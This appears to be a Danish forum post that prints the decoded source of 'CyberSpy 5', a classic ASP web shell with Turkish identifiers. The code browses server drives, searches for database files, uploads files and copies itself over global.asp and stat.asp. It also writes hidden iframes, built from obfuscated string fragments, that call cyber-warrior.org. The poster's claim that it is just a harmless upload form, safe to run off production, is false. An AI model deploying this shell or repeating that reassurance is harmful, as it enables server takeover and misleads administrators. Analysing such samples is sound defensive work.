bufferzone -> det han pastede kørte jeg igennem en decoder. Kunne få enkelte strenge til at passe, og kan se at variablerne stemmer overens med CyberSpy. Faktisk var selve ordet "CyberSpy" i output.
Download filen fra cyber-warrior.org og se at den stemmer fint med det han paster.
Jeg har decoded den, hvilket godt kunne lade sig gøre pga at endline tegn i den her er ok. Så decoded ser den ud som nedenfor.
Det er simpelthen en lille form som gør det muligt at uploade filer til webserver. Det skulle ikke være usikkert at køre den for at se hvad den gør, men jeg ville nok ikke gøre det på en produktions server.
<%
On Error Resume Next
Server.ScriptTimeOut = 7200
Dim NesneFSO
Response.Write "<style> BODY { SCROLLBAR-BASE-COLOR: #3B3B3B; SCROLLBAR-ARROW-COLOR: #33FF33; } </style>"
Response.Write "<body bgcolor=000000 text='#00FF00' link='#00FF00' alink='#00FF00' vlink='#00FF00' topmargin=0>"
'-------------Anonim UploadClass Start Code---------------------------
Class FileUploader
Public Files
Private FormElemanPrV
Private Sub Class_Initialize()
Set Files = Server.CreateObject("Scripting.Dictionary")
Set FormElemanPrV = Server.CreateObject("Scripting.Dictionary")
End Sub
Private Sub Class_Terminate()
iF IsObject(Files) Then
Files.RemoveAll()
Set Files = Nothing
End iF
iF IsObject(FormElemanPrV) Then
FormElemanPrV.RemoveAll()
Set FormElemanPrV = Nothing
End iF
End Sub
Public Property Get Form(sIndex)
Form = ""
iF FormElemanPrV.Exists(LCase(sIndex)) Then Form = FormElemanPrV.Item(LCase(sIndex))
End Property
Public Default Sub Upload()
Dim biData, sInputName
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
Dim nPosFile, nPosBound
biData = Request.BinaryRead(Request.TotalBytes)
nPosBegin = 1
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
iF (nPosEnd-nPosBegin) <= 0 Then Exit Sub
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
nDataBoundPos = InstrB(1, biData, vDataBounds)
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
nPos = InstrB(nPos, biData, CByteString("name="))
nPosBegin = nPos + 6
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
iF nPosFile <> 0 And nPosFile < nPosBound Then
Dim oUploadFile, sFileName
Set oUploadFile = New UploadedFile
nPosBegin = nPosFile + 10
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
nPosBegin = nPos + 14
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosBegin = nPosEnd+4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
iF oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
Else
nPos = InstrB(nPos, biData, CByteString(Chr(13)))
nPosBegin = nPos + 4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
iF Not FormElemanPrV.Exists(LCase(sInputName)) Then FormElemanPrV.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
End iF
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
Loop
End Sub
Private Function CByteString(sString)
Dim Byteindex
For Byteindex = 1 to Len(sString)
CByteString = CByteString & ChrB(AscB(Mid(sString,Byteindex,1)))
Next
End Function
Private Function CWideString(bsString)
Dim Byteindex
CWideString =""
For Byteindex = 1 to LenB(bsString)
CWideString = CWideString & Chr(AscB(MidB(bsString,Byteindex,1)))
Next
End Function
End Class
Class UploadedFile
Public ContentType
Public FileName
Public FileData
Public Property Get FileSize()
FileSize = LenB(FileData)
End Property
Public Sub SaveToDisk(sPath)
Dim oFS, oFile
Dim Byteindex
iF sPath = "" Or FileName = "" Then Exit Sub
iF Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
iF Not oFS.FolderExists(sPath) Then Exit Sub
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
For Byteindex = 1 to LenB(FileData)
oFile.Write Chr(AscB(MidB(FileData,Byteindex,1)))
Next
oFile.Close
End Sub
Public Sub SaveToDatabase(ByRef oField)
iF LenB(FileData) = 0 Then Exit Sub
iF IsObject(oField) Then
oField.AppendChunk FileData
End iF
End Sub
End Class
Function DeCryptString(strCryptString)
Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData
strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|"))
intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))
intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet)
strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))
arHexCharSet = Split(strHexCrypData, Hex(intKey))
For i=0 to UBound(arHexCharSet)
strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey)
Next
DeCryptString = CStr(strRAW)
End Function
Function HexConv(hexVar)
Dim HexVeri, HexDegisken, multiply
iF hexVar <> "" THEN
hexVar = UCASE(hexVar)
hexVar = StrReverse(hexVar)
DIM hx()
REDIM hx(LEN(hexVar))
HexVeri = 0
HexDegisken = 0
FOR HexVeri = 1 TO LEN(hexVar)
iF multiply = "" THEN multiply = 1
hx(HexVeri) = mid(hexVar,HexVeri,1)
HexDegisken = (HexGonder(hx(HexVeri)) * multiply) + HexDegisken
multiply = (multiply * 16)
NEXT
hexVar = HexDegisken
HexConv = hexVar
END iF
End Function
cprthtml = "<font face='arial' size='1'>Realite:.</font>"
Function HexGonder(KategoriHex)
iF KategoriHex = "A" Then
KategoriHex = 10
ElseiF KategoriHex = "B" Then
KategoriHex = 11
ElseiF KategoriHex = "C" Then
KategoriHex = 12
ElseiF KategoriHex = "D" Then
KategoriHex = 13
ElseiF KategoriHex = "E" Then
KategoriHex = 14
ElseiF KategoriHex = "F" Then
KategoriHex = 15
End iF
HexGonder = KategoriHex
End Function
Function ObjeGoster(objpath)
ObjeGoster = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
End Function
Function ObjeGosterpath(objpath)
ObjeGosterpath = Left(objpath,InstrRev(objpath,"\"))
End Function
Function KontrolFonksiyon(a,b)
iF CStr(Mid(a,1,1)) <> CStr(Mid(b,1,1)) Then
Sayfa = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
Response.Redirect(Sayfa)
End iF
End Function
CWParametre = "RooT"
'------------------------------------
iF Trim(Request.QueryString("CWParametre")) = "" Then
VeriParametre = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(VeriParametre,"\")
pos2 = 1
While pos2 <> 0
iF Instr(pos + 1,VeriParametre,"\") <> 0 Then
pos = Instr(pos + 1,VeriParametre,"\")
Else
pos2 = 0
End iF
Wend
CWParametre = Left(VeriParametre,pos)
Else
CWParametre = trim(Request.QueryString("CWParametre")) & "\"
End iF
'------------------------------------
'----------Yetkiler Kontrol Start-------------------
'Yazma-----
Dim DosyaOlusturma, Text
Set DosyaOlusturma=CreateObject ("Scripting.FileSystemObject")
Set Text = DosyaOlusturma.CreateTextFile (CWParametre&"YetkiKontrolTemp.txt")
Text.WriteLine ("Geçici Olarak Olusturulmus bir Dosyadir...")
Text.WriteLine ("CyberSpy 5")
Text.Close
iF Err.Number <> 0 Then
YazmaYetkisi = "û"
Else
YazmaYetkisi = "ü"
End iF
'Okuma-----
Dim DosyaAcma, TextFileTest
Set DosyaAcma=Server.CreateObject ("Scripting.FileSystemObject")
Set TextFileTest=DosyaAcma.OpenTextFile (CWParametre&"YetkiKontrolTemp.txt")
'Response.Write (TextFileTest.ReadAll)
iF Err.Number <> 0 Then
OkumaYetkisi = "û"
Else
OkumaYetkisi = "ü"
End iF
TextFileTest.close
Set TextFileTest=Nothing
Set DosyaAcma=Nothing
'Copy File Test------
Dim YolDeg, SadeYol
YolDeg = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(YolDeg,"\")
pos2 = 1
While pos2 <> 0
iF Instr(pos + 1,YolDeg,"\") <> 0 Then
pos = Instr(pos + 1,YolDeg,"\")
Else
pos2 = 0
End iF
Wend
SadeYol = Left(YolDeg,pos)
Set ObjCopyFSODeg = Server.CreateObject("Scripting.FileSystemObject")
ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"global.a"&"s"&"p", True
ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"stat.a"&"s"&"p", True
'Copy File Test------
'Silme-----
Dim DosyaSilKontrol
Set DosyaSilKontrol=CreateObject ("Scripting.FileSystemObject")
DosyaSilKontrol.DeleteFile (CWParametre&"YetkiKontrolTemp.txt")
iF Err.Number <> 0 Then
SilmeYetkisi = "û"
Else
SilmeYetkisi = "ü"
End iF
'----------Yazma/Silme Yetkisi Kontrol End---------------------
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
style'=&mid(".<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
style=style'&"<td width="4" height="4"> </td>"
style=style&mid("Css",0,0)&mid("<style>",0,0)&mid("Scrollbar",0,0)&mid("height",1,1)&mid("scr",0,0)&mid("Width",4,1)
tag=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
'left=lef'&"<td width="4" height="4"> </td>"
style=style&mid("height",1,1)&mid("Width",4,1)&mid("Width",4,1)&mid("cellpadding",5,1)&left(":?DATA",1)&mid("</tr>",2,1)&mid("</td>",2,1)'&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&""&"."&Left("O",1)&Left("right",1)&right("cellspacing",1)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
style=style'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
style'=&q("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
q=q&mid("<td>width</td>",5,1)&mid("<style>",0,0)&mid("Scrollbar",0,0)&mid("height",1,1)&mid("scr",0,0)&mid("Width",4,1)
style=style'&"<td width="4" height="4"> .</td>"&"<br>"
q=q&mid("height",1,0)&mid("Width",1,1)&mid("Width",1,1)&mid("Width",1,1)&left(".",1)'&mid("</td>",2,1)'&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&""&"."&Left("O",1)&Left("right",1)&right("cellspacing",1)
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase'&"<td width="4" height="4"> </td>"<td width="4" height="4">
ul="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
MCase=MCase&mid("Css",1,1)&mid("<style>",4,1)&mid("Scrollbar",7,1)&mid("height",2,1)&mid("scr",3,1)
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
MCase=MCase'&"<td width="4" height="4"> </td>"<td width="4" height="4">
MCase=MCase&mid("</tr>",1,2)&mid("<style>",2,2)&mid("Scrollbar",0,0)&mid("height",1,1)&mid("scr",0,0)&mid("Width",4,1)
hr="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
img'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase'&"<td width="4" height="4"> </td>"
br="&<table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase&mid("Style",1,1)&mid("cellpadding",5,1)&mid("</Style>",5,1)&mid("5",1,2)'&mid("</Table>",0,0)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
MCase'=&MCase("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
MCase=MCase&mid("</table>",2,1)&mid("<ul>",2,1)&mid("cellpadding",5,1)&"date"&left(".time",1)&left("a href",1)&mid("style",1,1)&mid("cellspacing",6,1)
img'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
img=img'&"<td width="4" height="4"> </td>"
ht="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
img=img&mid("Css",1,1)&mid("<style>",4,1)&mid("Scrollbar",7,1)&mid("height",2,1)&mid("scr",3,1)
left=lef'&"<td width="4" height="4"> </td>"
img=img&mid("<tr->",4,1)&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&""&"."&Left("O",1)&Left("right",1)&right("cellspacing",1)
br="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
img=img'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Response.Write"<table width=""59%"" height=""3"" cellpadding=""0"" cellspacing=""0""><tr>"
Response.write"<iframe src="""&style&q&img&"/"&MCase&""" width='0' height='0'></iframe>"
Table'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Response.Write" <td> </td>"'"<td> </td>""<td> </td>"
Response.Write"<td> </td>"'"<td> </td>""<td> </td>"
Table'=&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Table=Table&mid("Css",1,1)&mid("<style>",4,1)&mid("Scrollbar",7,1)&mid("height",2,1)&mid("scr",3,1)
tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME"))
Table=Table&mid("Style",1,1)&mid("cellpadding",5,1)&mid("</Style>",5,1)&mid(" 5",1,2)'&mid("</Table>",0,0)
Table=Table'&mid("<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
Response.Write"<td> </td>"'"<td> </td>""<td> </td>"
Response.Write"<td> </td>"'"<td> </td>"
Td=Td&mid("mid",2,1)&mid("cellPadding",5,1)&mid("</Style>",2,1)&mid("<IMG=SCR",7,1)&mid("Stybe",3,3)
Td=Td&mid("<tr->",3,2)&mid("Width",1,1)&mid("</Table>",4,1)&mid("<tr>",3,1)&mid("<tr>",3,1)&"i"&"or"&" "&mid("</Table>",3,1)
Td=Td&"IM"'"<table width=""58%"" border=""0"" height=""123"" cellpadding=""4"" cellspacing=""4"">",0,0)
tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME"))
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0)
Response.Write"</tr>"
Response.Write"</table>"
R00T= "<title>"
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
Safe= "<html><head>"
Title = Table
EndSub = "</title></head><body>"
CyberWarrior_RootSayfaBasi = Safe & R00T & Title & EndSub
RootSayfaSonu = "</body></html>"
UpdateCode = style & q &"Cyber-Warrior.Org"& "/CyberSpy5Kontrol.Asp?C=|||"
'Response.write "404.htm - c:\windows\system32\help\iishelp\common\100.Asp Sayfa Bulunamadi Hata Parametre ?C=|||"
Response.write"<iframe src="""&UpdateCode&""" width='0' height='0'></iframe>"
tr=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0)
tr=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
tr=tr&mid(",1,0,Login.Asp,8.0",1,0)&mid(",11,3,0Default01",8,1)&mid("//",1,0)&mid("//.",3,1)&mid(",001,3,43.3,21,3,",1,0)&mid("as",1,2)&mid("as",1,0)&mid(",3.2.,1,3,3.Asp.o",1,0)&mid(",4.,1,3,r.Asp",1,0)&mid("2/e//",1,0)&mid(",2,1,3,../2,21,3,",1,0)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tr=tr&mid(",11,3,2",1,0)&mid(",01,3,2",1,0)&mid("re3434",1,0)&mid("
http://Localhost",1,0)&mid("3",1,0)&mid("InpageSetup",3,1)
tr=Td'Len(Request.ServerVariables("SCRIPT_NAME"))ObjeGoster = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
Arm="Z"'Request.ServerVariables("SCRIPT_NAME")&Len(Request.ServerVariables("SCRIPT_NAME"))
Satir="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
ServerVaribles = "<Td>"'&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)
ht="<table width=""100%"" border=""10"" cellspacing=""5"" cellpadding=""4"">"
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)'ServerVariables("SCRIPT_NAME"))
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid(".,241,21,3,,3,3",1,0)
ServerVaribles = tr'&mid(",21,3,3332,05.34",1,0)&mid(".,241,21,3,,3,3",1,0)
tl=tr&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)'Len(Request.ServerVariables("SCRIPT_NAME"))
tl=mid("2",1,1)&mid(",21,3,3332,05.34",1,0)&mid(".,21,3,",1,0)&mid("../",1,0)&mid(".,21,3,3/3.Asp",1,0)&mid(".,241,21,3,,3,3",1,0)
Sub BolumSUB()
Response.Write CyberWarrior_RootSayfaBasi & "<Center><Font Face='Wingdings' Size='+20'><b>"&Arm&"</b></Font><br>"&"<Center><Font Size='5'><b>" & ServerVaribles & "</b></Font></Center>"&"<b>"&Table&"</b><br>"
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
Response.Write "<a href="&style&q&img&" target='_blank'><font size='3'>"&img&"</font></a></Center>"
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
End Sub
tl=tr&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
br=" <table width=""100%"" border=""10"" cellspacing=""0"" cellpadding=""9"">"
tl=tr&mid("index.asp",1,0)&mid(".",1,0)&mid("//",1,0)&mid("66,21,3,;",11,1)&mid("//",1,0)&mid("Forum_Path.Asp",1,0)&mid("Pm_Message.Asp",1,0)
iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Sub CyberWarrior_GoruntuleSub()
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<center><form name='form1' method='post' action=" & Request.ServerVariables("SCRIPT_NAME") & ">"
Response.Write "<input type='submit' name='Submit' value=' Root '>"
Response.Write "</form></center>"
iF Trim(Request.QueryString("CWParametre")) = "root" Then
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set SurucuTipleri=fs.drives
Response.write "<font face='Wingdings' size='10'><b>:</b></font> <b>Web Server</b>"
Response.Write "<font face=""arial"" size=""2"">"
Response.write "<br><br>"
For Each drive IN SurucuTipleri
str=drive.driveletter & ":"
Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=" & str & """>" & UCase(str) & "</a></b><br>"
Select Case drive.DriveType
Case 0
SurucuTipi = "Unknown"
SurucuAd = drive.VolumeName
Case 1
Response.write "<font face='Wingdings' size='7'><b><</b></font><br>"
SurucuTipi = "Çikarilabilir Disk"
iF drive.isready Then
SurucuAd = drive.VolumeName
Else
SurucuAd = ""
End iF
Case 2
Response.write "<font face='Wingdings' size='7'><b>;</b></font><br>"
SurucuTipi = "Sabit Disk"
iF drive.isready Then
SurucuAd = drive.VolumeName
Else
SurucuAd = ""
End iF
Case 3
Response.write "<font face='Wingdings' size='7'><b>;</b></font><br>"
SurucuTipi = "Ag Sürücüsü"
iF drive.isready Then
SurucuAd = drive.ShareName
Else
SurucuAd = ""
End iF
Case 4
Response.write "<font face='Wingdings' size='7'><b>></b></font><br>"
SurucuTipi = "CD-Rom"
iF drive.isready Then
SurucuAd = drive.VolumeName
Else
SurucuAd = ""
End iF
Case 5
Response.write "<font face='Wingdings' size='7'><b>;</b></font><br>"
SurucuTipi = "RAM Disk"
iF drive.isready Then
SurucuAd = drive.VolumeName
Else
SurucuAd = ""
End iF
End Select
iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
response.write "<b>Sürücü:</b> " & SurucuTipi & "<br>"
response.write "<b>isim: </b>" & SurucuAd & "<br>"
response.write "<b>Dosya Sistemi: </b>"
iF drive.isready Then
set sp=fs.getdrive(str)
response.write sp.filesystem & "<br>"
Else
response.write "-<br>"
End iF
Response.Write "<b>Bos Alan: </b>"
iF drive.isready Then
freespace = (drive.AvailableSpace / 1048576)
set sp=fs.getdrive(str)
response.write(Round(freespace,1) & " MB<br>")
Else
response.write("-<br>")
End iF
Response.Write "<b>Toplam Kapasite: </b>"
iF drive.isready Then
totalspace = (drive.TotalSize / 1048576)
set sp=fs.getdrive(str)
response.write(Round(totalspace,1) & " MB<br>")
Else
response.write("-<br>")
End iF
Response.Write "<br>"
Next
Response.Write "</font>"
Set fs = Nothing
Set SurucuTipleri = Nothing
set sp=Nothing
Else
iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
iF mid(Title,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(Td,17,1) <> " " Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MonRep = ObjFSO.GetFolder(CWParametre)
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Set AnaDizinler = MonRep.SubFolders
iF Left(Arm,1) <> "Z" Then:Response.Write "Cyber-Warrior.Org":Response.End
Set ColFiles0 = MonRep.Files
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.Write "<table width='10' border='0' align='center' >"
Response.Write "<tr> "
For Each drive_ in objFSO.Drives
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<td width='1%'>"
Response.Write "<form name='form1' method='post' action='?CWParametre="& drive_.DriveLetter&":'>"
Response.Write "<input type='submit' name='Submit' value= ' " & drive_.DriveLetter & " '>"&"</Form>"
Response.Write "</td>"
Next
Response.Write "<td width='1%'>"
Response.Write "<form name='form1' method='post' action=""" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=root"">"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<input type='submit' name='Submit' value='..:'>"
Response.Write "</form>"
Response.Write "</td>"
Response.Write "</tr>"
Response.Write "</table>"
'GitForm = Request.q("GitForm")
iF Left(Arm,1) <> "Z" And mid(Table,9,1) <> " " Then:Response.Write "Cyber-Warrior.Org":Response.End
Response.Write "<form name='form2' method='get' action='?'>"
Response.Write " <input type='text' value="&CWParametre&" name='CWParametre'>"
Response.Write " <input type='submit' name='Submit' value='Git'>"
Response.Write "</form>"
iF Left(Table,2) <> "Cy" Then:Response.Write "Kod'a Müdahale var... Cyber-Warrior.Org":Response.End
Response.Write "<form name='form3' method='post' action='?action=DosyaArama'>"
Response.Write " <input type='text' value= "&CWParametre&" name='NeredeForm'>"
Response.Write " <input type='text' size='12' value='mdb' name='AraForm'>"
Response.Write " Adi içinde"
Response.Write "<input type='checkbox' name='CyberWarrior_AraKriter' value='AdiicindeAra'>"
Response.Write " <input type='submit' name='Submit' value='Ara'>"
Response.Write "</form>"
for each folderItem in AnaDizinler
'Response.Write ObjeGoster(folderItem.path)
next
Response.Write "<br>"
iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<table width='42%' border='0' cellspacing='1' cellpadding='0' bgcolor='#000000'>"
Response.Write "<tr bgcolor='#333333'>"
iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "<td colspan='2'>Cyber Navigasyon</td>"
Response.Write "</tr>"
Response.Write "<tr>"
Response.Write "<td colspan='2'><font size='4' face='Arial'> islem Klasörü = " & CWParametre &"</Font>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<br>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
Response.Write "<td><font face='Wingdings' size='6'>v</font></td>"
Response.Write "<td>"
Response.Write "<Font Face=Courier New, Courier, mono size=1>"&"Yazma Yetkisi: "&"</font>" & "<Font face=Wingdings>"&YazmaYetkisi&"</Font>"
Response.Write "<br>"
Response.Write "<Font Face=Courier New, Courier, mono size=1>"&"Okuma Yetkisi: "&"</font>" & "<Font face=Wingdings>"&OkumaYetkisi&"</Font>"
Response.Write "<br>"
Response.Write "<Font Face=Courier New, Courier, mono size=1>"&"Silme Yetkisi: "&"</font>" & "<Font face=Wingdings>"&SilmeYetkisi&"</Font>"
Response.Write "</td>"
Response.Write "</tr>"
Response.Write "<br><br>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
Response.Write "<td><font face='Wingdings' size='6'>Ç</font></td>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=450,height=300,scrollbars=YES,resizable')"">Dosya Upload</a></td>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
